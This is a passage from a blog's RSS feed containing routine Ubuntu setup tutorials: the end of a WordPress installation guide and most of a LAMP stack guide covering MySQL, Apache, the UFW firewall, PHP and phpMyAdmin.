&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Create the following directory so as to not have permission issues later:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mkdir wp-content/upgrade
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Cd out of the wordpress folder:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd ..
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Copy the entire contents of the directory into our document root:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo cp -a wordpress/. /var/www/wordpress
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="configuring-the-wordpress-directory"&gt;
Configuring the WordPress Directory
&lt;a href="#configuring-the-wordpress-directory" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="adjusting-the-ownership-and-permissions"&gt;
Adjusting the Ownership and Permissions
&lt;a href="#adjusting-the-ownership-and-permissions" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Give ownership of all the files to the &lt;code&gt;www-data&lt;/code&gt; user and group (the user apache runs as):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo chown -R www-data:www-data /var/www/wordpress
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We run two find commands to set the correct permissions on the WordPress directories and files:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo find /var/www/wordpress/ -type d -exec chmod &lt;span style="color:#ae81ff"&gt;750&lt;/span&gt; &lt;span style="color:#f92672"&gt;{}&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;\;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo find /var/www/wordpress/ -type f -exec chmod &lt;span style="color:#ae81ff"&gt;640&lt;/span&gt; &lt;span style="color:#f92672"&gt;{}&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;\;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="setting-up-the-wordpress-configuration-file"&gt;
Setting up the WordPress Configuration File
&lt;a href="#setting-up-the-wordpress-configuration-file" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;For the initial configuration, it requires the WordPress salt to be generated.
This can be done using:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl -s https://api.wordpress.org/secret-key/1.1/salt/
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;It will give a different output every time and will contain a list of salt values.
The output of the above command needs to be copied and added to the &lt;code&gt;wp-config.php&lt;/code&gt; file.&lt;/p&gt;
&lt;p&gt;Open &lt;code&gt;wp-config.php&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo vim /var/www/wordpress/wp-config.php
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Replace all the dummy values with the ones from the previous command.
Below are the dummy values from &lt;code&gt;wp-config.php&lt;/code&gt; to be replaced:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;define&lt;/span&gt;( &lt;span style="color:#e6db74"&gt;&amp;#39;AUTH_KEY&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;put your unique phrase here&amp;#39;&lt;/span&gt; );
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;define&lt;/span&gt;( &lt;span style="color:#e6db74"&gt;&amp;#39;SECURE_AUTH_KEY&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;put your unique phrase here&amp;#39;&lt;/span&gt; );
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;define&lt;/span&gt;( &lt;span style="color:#e6db74"&gt;&amp;#39;LOGGED_IN_KEY&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;put your unique phrase here&amp;#39;&lt;/span&gt; );
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;define&lt;/span&gt;( &lt;span style="color:#e6db74"&gt;&amp;#39;NONCE_KEY&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;put your unique phrase here&amp;#39;&lt;/span&gt; );
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;define&lt;/span&gt;( &lt;span style="color:#e6db74"&gt;&amp;#39;AUTH_SALT&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;put your unique phrase here&amp;#39;&lt;/span&gt; );
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;define&lt;/span&gt;( &lt;span style="color:#e6db74"&gt;&amp;#39;SECURE_AUTH_SALT&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;put your unique phrase here&amp;#39;&lt;/span&gt; );
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;define&lt;/span&gt;( &lt;span style="color:#e6db74"&gt;&amp;#39;LOGGED_IN_SALT&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;put your unique phrase here&amp;#39;&lt;/span&gt; );
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;define&lt;/span&gt;( &lt;span style="color:#e6db74"&gt;&amp;#39;NONCE_SALT&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;put your unique phrase here&amp;#39;&lt;/span&gt; );
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The wp-config.php file contains some Database configuration at the top.
Replace the &lt;code&gt;DB_NAME&lt;/code&gt;, &lt;code&gt;DB_USER&lt;/code&gt;, &lt;code&gt;DB_PASSWORD&lt;/code&gt; with values you have created for WordPress:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;define&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;DB_NAME&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;wordpress&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;/** MySQL database username */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;define&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;DB_USER&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;wordpressuser&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;/** MySQL database password */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;define&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;DB_PASSWORD&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;password&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Also, you can add the file system method at the very bottom of the others:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;define&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;FS_METHOD&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;direct&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now the server configuration is complete!
We can complete the installation through the web interface.&lt;/p&gt;
&lt;p&gt;In your web browser, navigate to your servers domain name or public IP address:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;https://server_domain_or_IP
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="links"&gt;
Links
&lt;a href="#links" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.digitalocean.com/community/tutorials/how-to-install-wordpress-with-lamp-on-ubuntu-18-04"&gt;How To Install WordPress with LAMP on Ubuntu 18.04&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ubuntu.com/tutorials/install-and-configure-wordpress"&gt;Ubuntu Tutorials - Install and configure WordPress&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://websiteforstudents.com/install-wordpress-on-ubuntu-16-04-lts-with-apache2-mariadb-and-php-7-1-support/"&gt;Install WordPress on Ubuntu 16.04 LTS with Apache2, MariaDB and PHP 7.1&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.digitalocean.com/community/tutorials/how-to-install-the-apache-web-server-on-ubuntu-18-04"&gt;How To Install the Apache Web Server on Ubuntu 18.04&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://wordpress.org/support/article/how-to-install-wordpress/"&gt;Wordpress.org - How to install WordPress&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>LAMP Install</title><link>https://thanoskoutr.com/posts/lamp-install/</link><pubDate>Fri, 18 Sep 2020 02:52:00 +0300</pubDate><guid>https://thanoskoutr.com/posts/lamp-install/</guid><description>
&lt;img src="https://thanoskoutr.com/covers/lamp.png"/&gt;
&lt;h2 id="mysql"&gt;
MySQL
&lt;a href="#mysql" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="install-mysql"&gt;
Install MySQL
&lt;a href="#install-mysql" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt install mysql-server
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="run-security-script"&gt;
Run security script
&lt;a href="#run-security-script" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Accept almost everything, and add secure root password:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo mysql_secure_installation
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="change-authentication-method"&gt;
Change authentication method
&lt;a href="#change-authentication-method" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;If you don&amp;rsquo;t change the authentication method from &lt;code&gt;auth_socket&lt;/code&gt; to &lt;code&gt;mysql_native_password&lt;/code&gt;
then anyone with a sudo user password can log in as root.&lt;/p&gt;
&lt;p&gt;To check the authentication method, enter MySQL:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo mysql
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And type:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;SELECT&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;user&lt;/span&gt;,authentication_string,plugin,&lt;span style="color:#66d9ef"&gt;host&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;FROM&lt;/span&gt; mysql.&lt;span style="color:#66d9ef"&gt;user&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;To configure the root account to authenticate with a password, run the following &lt;code&gt;ALTER USER&lt;/code&gt; command.
Be sure to change password to a strong password of your choosing,
and note that this command will change the root password you set in the security script:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;ALTER&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;USER&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;root&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;@&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;localhost&amp;#39;&lt;/span&gt; IDENTIFIED &lt;span style="color:#66d9ef"&gt;WITH&lt;/span&gt; mysql_native_password &lt;span style="color:#66d9ef"&gt;BY&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;password&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Then, run &lt;code&gt;FLUSH PRIVILEGES&lt;/code&gt; which tells the server to reload the grant tables and put your new changes into effect:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;FLUSH &lt;span style="color:#66d9ef"&gt;PRIVILEGES&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Check again the authentication method, to confirm the changes:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;SELECT&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;user&lt;/span&gt;,authentication_string,plugin,&lt;span style="color:#66d9ef"&gt;host&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;FROM&lt;/span&gt; mysql.&lt;span style="color:#66d9ef"&gt;user&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Exit the MySQL shell:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;exit
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="create-new-user-with-all-privileges"&gt;
Create new user with all privileges
&lt;a href="#create-new-user-with-all-privileges" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Enter mysql:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo mysql -u root -p
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Create a new user and give it a strong password:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;CREATE&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;USER&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;user&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;@&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;localhost&amp;#39;&lt;/span&gt; IDENTIFIED &lt;span style="color:#66d9ef"&gt;BY&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;password&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Grant your user the appropriate privileges:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;GRANT&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;ALL&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;PRIVILEGES&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;ON&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt;.&lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;TO&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;user&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;@&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;localhost&amp;#39;&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;WITH&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;GRANT&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;OPTION&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Exit the MySQL shell:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;exit
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="apache"&gt;
Apache
&lt;a href="#apache" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="install-apache"&gt;
Install Apache
&lt;a href="#install-apache" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt install apache2
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="adjust-the-firewall-to-allow-web-traffic"&gt;
Adjust the Firewall to Allow Web Traffic
&lt;a href="#adjust-the-firewall-to-allow-web-traffic" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;After you have followed the initial server setup and enabled the UFW firewall,
make sure that your firewall allows HTTP and HTTPS traffic.
You can check that UFW has an application profile for Apache like so:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo ufw app list
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Look at the full &lt;code&gt;Apache Full&lt;/code&gt; profile, it should show that it enables traffic on port 80 and 443:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo ufw app info &lt;span style="color:#e6db74"&gt;&amp;#34;Apache Full&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Allow incoming HTTP and HTTPS traffic for this profile:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo ufw allow in &lt;span style="color:#e6db74"&gt;&amp;#34;Apache Full&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Verify your installation, visiting your servers IP:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;http://your_server_ip
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;You will see the default Ubuntu 18.04 Apache web page&lt;/p&gt;
&lt;h2 id="php"&gt;
PHP
&lt;a href="#php" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="install-php-and-helper-packages"&gt;
Install PHP and helper packages
&lt;a href="#install-php-and-helper-packages" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt install php libapache2-mod-php php-mysql
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="phpmyadmin"&gt;
phpMyAdmin
&lt;a href="#phpmyadmin" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="install-phpmyadmin"&gt;
Install phpMyAdmin
&lt;a href="#install-phpmyadmin" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt update
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt install phpmyadmin php-mbstring php-gettext
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This will ask you a few questions in order to configure your installation correctly:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;For the server selection, choose apache2.&lt;/li&gt;
&lt;li&gt;Select Yes when asked whether to use dbconfig-common to set up the database.&lt;/li&gt;
&lt;li&gt;You will be asked to choose a MySQL application password for phpMyAdmin
&lt;ul&gt;
&lt;li&gt;It will be the password for the phpmyadmin user for MySQL.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="enable-the-mbstring-php-extension"&gt;
Enable the mbstring PHP extension
&lt;a href="#enable-the-mbstring-php-extension" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo phpenmod mbstring
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="restart-apache"&gt;
Restart Apache
&lt;a href="#restart-apache" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
